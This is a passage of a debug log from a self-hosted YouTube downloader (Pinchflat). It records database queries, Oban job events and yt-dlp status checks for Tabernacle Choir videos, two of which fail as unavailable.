Music & the Spoken Word | The Tabernacle Choir [SSBMMeRs_b8].NA", false, false, false, [], 96, ~U[2025-12-08 16:56:11Z], ~U[2025-12-11 18:00:18Z], ~U[2025-12-11 18:00:18Z], "For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/11/26 Music & the Spoken Word | The Tabernacle Choir", "SSBMMeRs_b8", nil, true, 1, "https://www.youtube.com/watch?v=SSBMMeRs_b8", "/downloads/tabernacle choir/2025-12-08 01⧸11⧸26 Music & the Spoken Word | The Tabernacle Choir/01⧸11⧸26 Music & the Spoken Word | The Tabernacle Choir [SSBMMeRs_b8].NA", false, ~U[2025-12-08 16:56:11Z]] 11:00:18.117 [debug] QUERY OK source="sources" db=0.5ms idle=81.3ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2025-12-11 18:00:18Z], ~U[2025-12-11 18:00:18Z], 1] 11:00:18.120 [debug] QUERY OK source="media_items" db=2.0ms idle=77.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 11:00:18.123 [debug] QUERY OK source="tasks" db=0.8ms idle=6.2ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [2610, 20219, ~U[2025-12-11 18:00:18Z], ~U[2025-12-11 18:00:18Z]] 11:00:18.138 [debug] QUERY OK source="tasks" db=10.8ms idle=3.6ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [2611, 89337, ~U[2025-12-11 18:00:18Z], ~U[2025-12-11 18:00:18Z]] 11:00:18.148 [debug] QUERY OK source="media_items" db=2.7ms idle=4.4ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 11:00:18.149 [debug] QUERY OK source="media_items" db=0.5ms idle=6.1ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 11:00:18.150 [info] {"args":{"id":89337},"id":2611,"meta":{},"system_time":1765476018149767347,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 11:00:18.149 [info] {"args":{"id":20219},"id":2610,"meta":{},"system_time":1765476018149538230,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 11:00:18.152 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=4.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89337] 11:00:18.152 [debug] QUERY OK source="media_items" db=1.8ms idle=1.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [20219] 11:00:18.152 [info] User scripts lifecyle file either not present or is empty. Skipping. 11:00:18.152 [info] User scripts lifecyle file either not present or is empty. Skipping. 11:00:18.154 [debug] QUERY OK source="sources" db=1.5ms idle=0.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:18.154 [debug] QUERY OK source="sources" db=1.7ms queue=0.1ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:18.155 [debug] QUERY OK source="tasks" db=1.2ms idle=2.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [2612, 1, ~U[2025-12-11 18:00:18Z], ~U[2025-12-11 18:00:18Z]] 11:00:18.155 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.2ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:00:18.156 [debug] QUERY OK source="media_profiles" db=0.8ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:00:18.157 [debug] QUERY OK source="media_items" db=1.1ms idle=1.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [20219] 11:00:18.157 [info] {"args":{"id":1},"id":2606,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":5661219,"event":"job:stop","queue_time":992350,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 11:00:18.157 [debug] QUERY OK source="media_items" db=1.2ms idle=0.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89337] 11:00:18.158 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [20219] 11:00:18.159 [debug] QUERY OK source="media_metadata" db=0.3ms idle=1.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [89337] 11:00:18.159 [debug] QUERY OK source="media_profiles" db=0.4ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:00:18.160 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:00:18.160 [debug] QUERY OK source="settings" db=0.2ms queue=0.2ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:18.160 [debug] QUERY OK source="settings" db=0.2ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:18.160 [debug] QUERY OK source="settings" db=0.2ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:18.161 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:18.161 [debug] Running yt-dlp command for action: get_downloadable_status 11:00:18.180 [debug] Running yt-dlp command for action: get_downloadable_status 11:00:18.181 [debug] QUERY OK source="settings" db=0.2ms idle=20.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:18.181 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=20.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:18.182 [debug] QUERY OK source="settings" db=0.4ms idle=20.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:18.182 [debug] QUERY OK source="settings" db=0.5ms idle=20.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:18.183 [debug] QUERY OK source="settings" db=0.4ms idle=17.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:18.183 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2obOY-T_uog --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/cf/48/cf485fc7f3ede01b511e0e6eefa57331046e36a71ad7ccd3ec2dadaa65781c2a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 11:00:18.183 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:18.183 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=pzwYi9BjBNY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/a5/8a/a58af70b9935fd3100d55ff3b4687db5ad9c91532a82760a5e3d4833f0d7685b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 11:00:21.285 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=pzwYi9BjBNY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/a5/8a/a58af70b9935fd3100d55ff3b4687db5ad9c91532a82760a5e3d4833f0d7685b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] pzwYi9BjBNY: Video unavailable. This video has been removed by the uploader 11:00:21.285 [error] yt-dlp download error for media item #89337: "ERROR: [youtube] pzwYi9BjBNY: Video unavailable. This video has been removed by the uploader\n" 11:00:21.286 [error] yt-dlp download will not be retried: "ERROR: [youtube] pzwYi9BjBNY: Video unavailable. This video has been removed by the uploader\n" 11:00:21.287 [info] {"args":{"id":89337},"id":2611,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":3136336,"event":"job:stop","queue_time":128927,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 11:00:21.316 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2obOY-T_uog --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/cf/48/cf485fc7f3ede01b511e0e6eefa57331046e36a71ad7ccd3ec2dadaa65781c2a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 2obOY-T_uog: Video unavailable 11:00:21.316 [error] yt-dlp download error for media item #20219: "ERROR: [youtube] 2obOY-T_uog: Video unavailable\n" 11:00:21.316 [error] yt-dlp download will not be retried: "ERROR: [youtube] 2obOY-T_uog: Video unavailable\n" 11:00:21.317 [info] {"args":{"id":20219},"id":2610,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":3167525,"event":"job:stop","queue_time":128927,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 11:00:45.936 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:01:00.781 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:01:15.938 [info] {"source":"oban","duration":1180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:01:45.940 [info] {"source":"oban","duration":1208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:02:00.782 [info] {"source":"oban","duration":250,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:02:15.942 [info] {"source":"oban","duration":1217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:02:45.944 [info] {"source":"oban","duration":1204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:03:00.783 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:03:15.946 [info] {"source":"oban","duration":1039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:03:45.948 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:04:00.784 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:04:15.950 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:04:45.952 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:05:00.785 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:05:15.954 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:05:45.956 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:06:00.786 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:06:15.958 [info] {"source":"oban","duration":1285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:06:45.960 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:07:00.787 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:07:15.962 [info] {"source":"oban","duration":1280,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:07:45.964 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:08:00.788 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:08:15.966 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:08:45.968 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:09:00.789 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:09:15.970 [info] {"source":"oban","duration":1421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:09:45.972 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:10:00.790 [info] {"source":"oban","duration":468,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:10:15.974 [info] {"source":"oban","duration":1398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:10:45.976 [info] {"source":"oban","duration":1125,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:11:00.791 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:11:15.978 [info] {"source":"oban","duration":1155,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:11:45.980 [info] {"source":"oban","duration":1164,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:12:00.792 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:12:15.982 [info] {"source":"oban","duration":955,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:12:45.984 [info] {"source":"oban","duration":1418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:13:00.793 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:13:15.986 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:13:45.988 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:14:00.794 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:14:15.990 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:14:45.992 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:15:00.795 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:15:15.994 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:15:45.996 [info] {"source":"oban","duration":1268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:16:00.796 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:16:15.998 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:16:46.000 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:17:00.797 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:17:16.002 [info] {"source":"oban","duration":1085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:17:46.004 [info] {"source":"oban","duration":1156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:18:00.798 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:18:16.006 [info] {"source":"oban","duration":1358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:18:46.008 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:19:00.799 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:19:16.010 [info] {"source":"oban","duration":1418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:19:46.012 [info] {"source":"oban","duration":1263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:20:00.800 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:20:16.014 [info] {"source":"oban","duration":1334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:20:46.016 [info] {"source":"oban","duration":1123,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:21:00.801 [info] 